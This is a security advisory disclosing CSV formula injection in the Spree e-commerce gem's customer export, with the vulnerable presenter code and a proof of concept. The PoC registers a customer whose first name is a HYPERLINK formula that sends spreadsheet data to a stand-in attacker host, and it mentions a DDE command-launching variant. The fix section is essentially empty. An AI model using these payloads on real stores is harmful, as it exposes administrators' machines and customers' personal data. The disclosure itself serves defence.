PT-2026-49156 · Rubygems · Spree
Vulnerable code —
Step 5 — Admin opens
Published
2026-06-04
·
Updated
2026-06-04
CVSS v4.0
5.2
Medium
| Vector | AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
Summary
CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted
Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the
context of the administrator's desktop, potentially exfiltrating data or executing OS commands
via DDE (Dynamic Data Exchange).
Details
Affected presenters and fields
| Presenter | Path | User-controlled fields |
|---|---|---|
CustomerPresenter | spree/core/app/presenters/spree/csv/customer presenter.rb:36 | first name, last name, address1, address2, city, phone |
Vulnerable code — customer presenter.rb (representative example)
# spree/core/app/presenters/spree/csv/customer presenter.rb:36–53
def call
csv = [
customer.first name, # ← written verbatim; may contain =HYPERLINK(...)
customer.last name, # ← user-controlled
customer.email,
customer.accepts email marketing ? Spree.t(:say yes) : Spree.t(:say no),
customer.address&.company, # ← user-controlled
customer.address&.address1, # ← user-controlled
customer.address&.address2, # ← user-controlled
customer.address&.city, # ← user-controlled
customer.address&.state text,
customer.address&.state abbr,
customer.address&.country&.name,
customer.address&.country&.iso,
customer.address&.zipcode,
customer.phone, # ← user-controlled
customer.amount spent in(Spree::Store.current.default currency),
customer.completed orders.count,
]
csv += metafields for csv(customer)
csv
end
PoC
Precondition: A Spree store with public customer registration enabled (default
configuration). No special permissions required for the attacker.
Step 1 — Register as a customer with an injected first name
curl -X POST https://store.example.com/api/v3/store/customers
-H "Content-Type: application/json"
-H "X-Spree-Api-Key: pk <publishable api key>"
-d '{
"email": "attacker@evil.com",
"password": "password123",
"password confirmation": "password123",
"first name": "=HYPERLINK("http://attacker.example.com/exfil?d="&B1,"Click")",
"last name": "Smith"
}'
Step 2 — Admin triggers a customer export
curl -X POST https://store.example.com/api/v3/admin/exports
-H "Authorization: Bearer <admin jwt>"
-H "Content-Type: application/json"
-d '{"type": "Spree::Exports::Customers", "record selection": "all"}'
Step 3 — Admin polls until ready, then downloads
# Poll for completion
curl https://store.example.com/api/v3/admin/exports/<export id>
-H "Authorization: Bearer <admin jwt>"
# Download
curl https://store.example.com/api/v3/admin/exports/<export id>/download
-H "Authorization: Bearer <admin jwt>"
-o customers.csv
Step 4 — Verify injection in the raw CSV (without opening in Excel)
Open
customers.csv in a text editor. The first data row will contain:"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",...
Step 5 — Admin opens customers.csv in Microsoft Excel (Windows)
- Excel warns about external data connections; if the administrator clicks Enable, the
HYPERLINKformula fires and sends a GET request tohttp://attacker.example.com/exfil?d=<B1 value>. - Cell B1 in the customers export is the Last Name column. Adjacent columns contain email, address, and order total data for all exported customers.
- With the DDE variant (
=CMD|...) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine.
Impact
Vulnerability class: CSV / Formula Injection (CWE-1236)
Who is impacted
- Administrators who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history.
Realistic attack chain
| Step | Actor | Action | Privilege required |
|---|---|---|---|
| 1 | Attacker | Registers as customer | Public registration |
| 2 | Attacker | Sets first name to formula payload | None beyond registration |
| 3 | Admin | Runs a routine weekly/monthly export | Normal operational task |
| 4 | Admin | Opens CSV in Excel | None |
| 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |
Data at risk
All data visible to the administrator in the spreadsheet at the time of opening, including:
- All exported customer emails, names, addresses, phone numbers
- Order totals and purchase history
- Any other columns in the same export file
Fix
RCE
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Weakness Enumeration
Related Identifiers
Affected Products
Spree